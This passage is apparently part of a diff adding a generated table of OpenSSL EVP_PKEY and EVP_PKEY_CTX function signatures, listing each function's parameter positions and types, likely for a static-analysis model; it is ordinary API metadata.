*,int) | | evp_keymgmt_util_find_operation_cache | 0 | EVP_PKEY * | +| (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_find_operation_cache | 1 | EVP_KEYMGMT * | +| (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_find_operation_cache | 2 | int | +| (EVP_PKEY *,EVP_KEYMGMT *,int,const OSSL_PARAM[]) | | evp_keymgmt_util_fromdata | 0 | EVP_PKEY * | +| (EVP_PKEY *,EVP_KEYMGMT *,int,const OSSL_PARAM[]) | | evp_keymgmt_util_fromdata | 1 | EVP_KEYMGMT * | +| (EVP_PKEY *,EVP_KEYMGMT *,int,const OSSL_PARAM[]) | | evp_keymgmt_util_fromdata | 2 | int | +| (EVP_PKEY *,EVP_KEYMGMT *,int,const OSSL_PARAM[]) | | evp_keymgmt_util_fromdata | 3 | const OSSL_PARAM[] | +| (EVP_PKEY *,EVP_KEYMGMT *,void *) | | evp_keymgmt_util_assign_pkey | 0 | EVP_PKEY * | +| (EVP_PKEY *,EVP_KEYMGMT *,void *) | | evp_keymgmt_util_assign_pkey | 1 | EVP_KEYMGMT * | +| (EVP_PKEY *,EVP_KEYMGMT *,void *) | | evp_keymgmt_util_assign_pkey | 2 | void * | +| (EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *) | | evp_keymgmt_util_gen | 0 | EVP_PKEY * | +| (EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *) | | evp_keymgmt_util_gen | 1 | EVP_KEYMGMT * | +| (EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *) | | evp_keymgmt_util_gen | 2 | void * | +| (EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *) | | evp_keymgmt_util_gen | 3 | OSSL_CALLBACK * | +| (EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *) | | evp_keymgmt_util_gen | 4 | void * | +| (EVP_PKEY *,EVP_PKEY *,int) | | evp_keymgmt_util_copy | 0 | EVP_PKEY * | +| (EVP_PKEY *,EVP_PKEY *,int) | | evp_keymgmt_util_copy | 1 | EVP_PKEY * | +| (EVP_PKEY *,EVP_PKEY *,int) | | evp_keymgmt_util_copy | 2 | int | +| (EVP_PKEY *,OSSL_LIB_CTX *,EVP_KEYMGMT **,const char *) | | evp_pkey_export_to_provider | 0 | EVP_PKEY * | +| (EVP_PKEY *,OSSL_LIB_CTX *,EVP_KEYMGMT **,const char *) | | evp_pkey_export_to_provider | 1 | OSSL_LIB_CTX * | +| (EVP_PKEY *,OSSL_LIB_CTX *,EVP_KEYMGMT **,const char *) | | evp_pkey_export_to_provider | 2 | EVP_KEYMGMT ** | +| (EVP_PKEY *,OSSL_LIB_CTX *,EVP_KEYMGMT **,const char *) | | evp_pkey_export_to_provider | 3 | const char * | +| (EVP_PKEY *,RSA *,rsa_st *) | | EVP_PKEY_set1_RSA | 0 | EVP_PKEY * | +| (EVP_PKEY *,RSA *,rsa_st *) | | EVP_PKEY_set1_RSA | 1 | RSA * | +| (EVP_PKEY *,RSA *,rsa_st *) | | EVP_PKEY_set1_RSA | 2 | rsa_st * | +| (EVP_PKEY *,X509_ATTRIBUTE *) | | EVP_PKEY_add1_attr | 0 | EVP_PKEY * | +| (EVP_PKEY *,X509_ATTRIBUTE *) | | EVP_PKEY_add1_attr | 1 | X509_ATTRIBUTE * | +| (EVP_PKEY *,char *,size_t) | | EVP_PKEY_get_default_digest_name | 0 | EVP_PKEY * | +| (EVP_PKEY *,char *,size_t) | | EVP_PKEY_get_default_digest_name | 1 | char * | +| (EVP_PKEY *,char *,size_t) | | EVP_PKEY_get_default_digest_name | 2 | size_t | +| (EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *) | | evp_md_ctx_new_ex | 0 | EVP_PKEY * | +| (EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *) | | evp_md_ctx_new_ex | 1 | const ASN1_OCTET_STRING * | +| (EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *) | | evp_md_ctx_new_ex | 2 | OSSL_LIB_CTX * | +| (EVP_PKEY *,const ASN1_OCTET_STRING *,OSSL_LIB_CTX *,const char *) | | evp_md_ctx_new_ex | 3 | const char * | +| (EVP_PKEY *,const EVP_PKEY *) | | EVP_PKEY_copy_parameters | 0 | EVP_PKEY * | +| (EVP_PKEY *,const EVP_PKEY *) | | EVP_PKEY_copy_parameters | 1 | const EVP_PKEY * | +| (EVP_PKEY *,const char *) | | CTLOG_new | 0 | EVP_PKEY * | +| (EVP_PKEY *,const char *) | | CTLOG_new | 1 | const char * | +| (EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_ex | 0 | EVP_PKEY * | +| (EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_ex | 1 | const char * | +| (EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_ex | 2 | OSSL_LIB_CTX * | +| (EVP_PKEY *,const char *,OSSL_LIB_CTX *,const char *) | | CTLOG_new_ex | 3 | const char * | +| (EVP_PKEY *,const char *,const BIGNUM *) | | EVP_PKEY_set_bn_param | 0 | EVP_PKEY * | +| (EVP_PKEY *,const char *,const BIGNUM *) | | EVP_PKEY_set_bn_param | 1 | const char * | +| (EVP_PKEY *,const char *,const BIGNUM *) | | EVP_PKEY_set_bn_param | 2 | const BIGNUM * | +| (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 0 | EVP_PKEY * | +| (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | int | +| (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 0 | EVP_PKEY * | +| (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | int | +| (EVP_PKEY *,int) | | EVP_PKEY_set_type | 0 | EVP_PKEY * | +| (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | int | +| (EVP_PKEY *,int,void *) | | EVP_PKEY_assign | 0 | EVP_PKEY * | +| (EVP_PKEY *,int,void *) | | EVP_PKEY_assign | 1 | int | +| (EVP_PKEY *,int,void *) | | EVP_PKEY_assign | 2 | void * | +| (EVP_PKEY *,stack_st_X509 *) | | X509_get_pubkey_parameters | 0 | EVP_PKEY * | +| (EVP_PKEY *,stack_st_X509 *) | | X509_get_pubkey_parameters | 1 | stack_st_X509 * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_check | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_check | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_ctrl | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_ctrl | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_free | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_free | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_get_priv_key | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_get_priv_key | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_get_pub_key | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_get_pub_key | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_param_check | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_param_check | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_public_check | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_public_check | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_security_bits | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_security_bits | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_set_priv_key | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_set_priv_key | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_set_pub_key | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_set_pub_key | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_siginf | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..)) | | EVP_PKEY_asn1_set_siginf | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_item | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_item | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_item | 2 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_private | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_private | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_private | 2 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_private | 3 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_param | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_param | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_param | 2 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_param | 3 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_param | 4 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_param | 5 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_param | 6 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_public | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_public | 1 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_public | 2 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_public | 3 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_public | 4 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_public | 5 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..),..(*)(..)) | | EVP_PKEY_asn1_set_public | 6 | ..(*)(..) | +| (EVP_PKEY_ASN1_METHOD *,const EVP_PKEY_ASN1_METHOD *) | | EVP_PKEY_asn1_copy | 0 | EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_ASN1_METHOD *,const EVP_PKEY_ASN1_METHOD *) | | EVP_PKEY_asn1_copy | 1 | const EVP_PKEY_ASN1_METHOD * | +| (EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get0_libctx | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get0_peerkey | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get0_pkey | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get_app_data | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get_cb | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get_operation | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *) | | init_gen_str | 0 | EVP_PKEY_CTX ** | +| (EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *) | | init_gen_str | 1 | const char * | +| (EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *) | | init_gen_str | 2 | ENGINE * | +| (EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *) | | init_gen_str | 3 | int | +| (EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *) | | init_gen_str | 4 | OSSL_LIB_CTX * | +| (EVP_PKEY_CTX **,const char *,ENGINE *,int,OSSL_LIB_CTX *,const char *) | | init_gen_str | 5 | const char * | +| (EVP_PKEY_CTX *,ASN1_OBJECT *) | | EVP_PKEY_CTX_set0_dh_kdf_oid | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,ASN1_OBJECT *) | | EVP_PKEY_CTX_set0_dh_kdf_oid | 1 | ASN1_OBJECT * | +| (EVP_PKEY_CTX *,ASN1_OBJECT **) | | EVP_PKEY_CTX_get0_dh_kdf_oid | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,ASN1_OBJECT **) | | EVP_PKEY_CTX_get0_dh_kdf_oid | 1 | ASN1_OBJECT ** | +| (EVP_PKEY_CTX *,BIGNUM *) | | EVP_PKEY_CTX_set1_rsa_keygen_pubexp | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,BIGNUM *) | | EVP_PKEY_CTX_set1_rsa_keygen_pubexp | 1 | BIGNUM * | +| (EVP_PKEY_CTX *,BIGNUM *) | | EVP_PKEY_CTX_set_rsa_keygen_pubexp | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,BIGNUM *) | | EVP_PKEY_CTX_set_rsa_keygen_pubexp | 1 | BIGNUM * | +| (EVP_PKEY_CTX *,EVP_PKEY *) | | EVP_PKEY_derive_set_peer | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,EVP_PKEY *) | | EVP_PKEY_derive_set_peer | 1 | EVP_PKEY * | +| (EVP_PKEY_CTX *,EVP_PKEY **) | | EVP_PKEY_generate | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,EVP_PKEY **) | | EVP_PKEY_generate | 1 | EVP_PKEY ** | +| (EVP_PKEY_CTX *,EVP_PKEY **) | | EVP_PKEY_keygen | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,EVP_PKEY **) | | EVP_PKEY_keygen | 1 | EVP_PKEY ** | +| (EVP_PKEY_CTX *,EVP_PKEY **) | | EVP_PKEY_paramgen | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,EVP_PKEY **) | | EVP_PKEY_paramgen | 1 | EVP_PKEY ** | +| (EVP_PKEY_CTX *,EVP_PKEY **,int,OSSL_PARAM[]) | | EVP_PKEY_fromdata | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,EVP_PKEY **,int,OSSL_PARAM[]) | | EVP_PKEY_fromdata | 1 | EVP_PKEY ** | +| (EVP_PKEY_CTX *,EVP_PKEY **,int,OSSL_PARAM[]) | | EVP_PKEY_fromdata | 2 | int | +| (EVP_PKEY_CTX *,EVP_PKEY **,int,OSSL_PARAM[]) | | EVP_PKEY_fromdata | 3 | OSSL_PARAM[] | +| (EVP_PKEY_CTX *,EVP_PKEY *,int) | | EVP_PKEY_derive_set_peer_ex | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,EVP_PKEY *,int) | | EVP_PKEY_derive_set_peer_ex | 1 | EVP_PKEY * | +| (EVP_PKEY_CTX *,EVP_PKEY *,int) | | EVP_PKEY_derive_set_peer_ex | 2 | int | +| (EVP_PKEY_CTX *,EVP_PKEY_gen_cb *) | | EVP_PKEY_CTX_set_cb | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,EVP_PKEY_gen_cb *) | | EVP_PKEY_CTX_set_cb | 1 | EVP_PKEY_gen_cb * | +| (EVP_PKEY_CTX *,OSSL_PARAM *) | | EVP_PKEY_CTX_get_params | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,OSSL_PARAM *) | | EVP_PKEY_CTX_get_params | 1 | OSSL_PARAM * | +| (EVP_PKEY_CTX *,OSSL_PARAM *) | | evp_pkey_ctx_get_params_strict | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,OSSL_PARAM *) | | evp_pkey_ctx_get_params_strict | 1 | OSSL_PARAM * | +| (EVP_PKEY_CTX *,OSSL_PARAM *) | | evp_pkey_ctx_get_params_to_ctrl | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,OSSL_PARAM *) | | evp_pkey_ctx_get_params_to_ctrl | 1 | OSSL_PARAM * | +| (EVP_PKEY_CTX *,OSSL_PARAM *) | | evp_pkey_ctx_set_params_strict | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,OSSL_PARAM *) | | evp_pkey_ctx_set_params_strict | 1 | OSSL_PARAM * | +| (EVP_PKEY_CTX *,X509_ALGOR **) | | EVP_PKEY_CTX_get_algor | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,X509_ALGOR **) | | EVP_PKEY_CTX_get_algor | 1 | X509_ALGOR ** | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_dh_kdf_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_dh_kdf_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_dsa_paramgen_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_dsa_paramgen_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_ecdh_kdf_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_ecdh_kdf_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_hkdf_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_hkdf_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_rsa_mgf1_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_rsa_mgf1_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_rsa_oaep_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_rsa_oaep_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_rsa_pss_keygen_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_rsa_pss_keygen_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_rsa_pss_keygen_mgf1_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_rsa_pss_keygen_mgf1_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_signature_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_signature_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_tls1_prf_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD *) | | EVP_PKEY_CTX_set_tls1_prf_md | 1 | const EVP_MD * | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_dh_kdf_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_dh_kdf_md | 1 | const EVP_MD ** | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_ecdh_kdf_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_ecdh_kdf_md | 1 | const EVP_MD ** | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_rsa_mgf1_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_rsa_mgf1_md | 1 | const EVP_MD ** | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_rsa_oaep_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_rsa_oaep_md | 1 | const EVP_MD ** | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_signature_md | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const EVP_MD **) | | EVP_PKEY_CTX_get_signature_md | 1 | const EVP_MD ** | +| (EVP_PKEY_CTX *,const OSSL_PARAM *) | | EVP_PKEY_CTX_set_params | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const OSSL_PARAM *) | | EVP_PKEY_CTX_set_params | 1 | const OSSL_PARAM * | +| (EVP_PKEY_CTX *,const OSSL_PARAM *) | | evp_pkey_ctx_set_params_to_ctrl | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const OSSL_PARAM *) | | evp_pkey_ctx_set_params_to_ctrl | 1 | const OSSL_PARAM * | +| (EVP_PKEY_CTX *,const char *) | | app_paramgen | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | const char * | +| (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | const char * | +| (EVP_PKEY_CTX *,const char *,const char *) | | EVP_PKEY_CTX_ctrl_str | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const char *,const char *) | | EVP_PKEY_CTX_ctrl_str | 1 | const char * | +| (EVP_PKEY_CTX *,const char *,const char *) | | EVP_PKEY_CTX_ctrl_str | 2 | const char * | +| (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 1 | const char * | +| (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 2 | int | +| (EVP_PKEY_CTX *,const char *,int,int) | | app_keygen | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const char *,int,int) | | app_keygen | 1 | const char * | +| (EVP_PKEY_CTX *,const char *,int,int) | | app_keygen | 2 | int | +| (EVP_PKEY_CTX *,const char *,int,int) | | app_keygen | 3 | int | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_hkdf_info | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_hkdf_info | 1 | const unsigned char * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_hkdf_info | 2 | int | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_tls1_prf_seed | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_tls1_prf_seed | 1 | const unsigned char * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_tls1_prf_seed | 2 | int | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_key | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_key | 1 | const unsigned char * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_key | 2 | int | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_salt | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_salt | 1 | const unsigned char * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_salt | 2 | int | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_scrypt_salt | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_scrypt_salt | 1 | const unsigned char * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_scrypt_salt | 2 | int | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_tls1_prf_secret | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_tls1_prf_secret | 1 | const unsigned char * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_tls1_prf_secret | 2 | int | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set_mac_key | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set_mac_key | 1 | const unsigned char * | +| (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set_mac_key | 2 | int | +| (EVP_PKEY_CTX *,const void *,int) | | EVP_PKEY_CTX_set1_id | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,const void *,int) | | EVP_PKEY_CTX_set1_id | 1 | const void * | +| (EVP_PKEY_CTX *,const void *,int) | | EVP_PKEY_CTX_set1_id | 2 | int | +| (EVP_PKEY_CTX *,int *) | | EVP_PKEY_CTX_get_rsa_padding | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int *) | | EVP_PKEY_CTX_get_rsa_padding | 1 | int * | +| (EVP_PKEY_CTX *,int *) | | EVP_PKEY_CTX_get_rsa_pss_saltlen | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int *) | | EVP_PKEY_CTX_get_rsa_pss_saltlen | 1 | int * | +| (EVP_PKEY_CTX *,int *,int) | | EVP_PKEY_CTX_set0_keygen_info | 0 | EVP_PKEY_CTX * | +| (EVP_PKEY_CTX *,int *,int) | | EVP_PKEY_CTX_set0_keygen_info | 1 | int * | +| (EVP_PKEY_CTX *,int *,int) | | EVP_PKEY_CTX_set0_keygen_info | 2 | int | +| (EVP_PKEY_CTX *,int) | 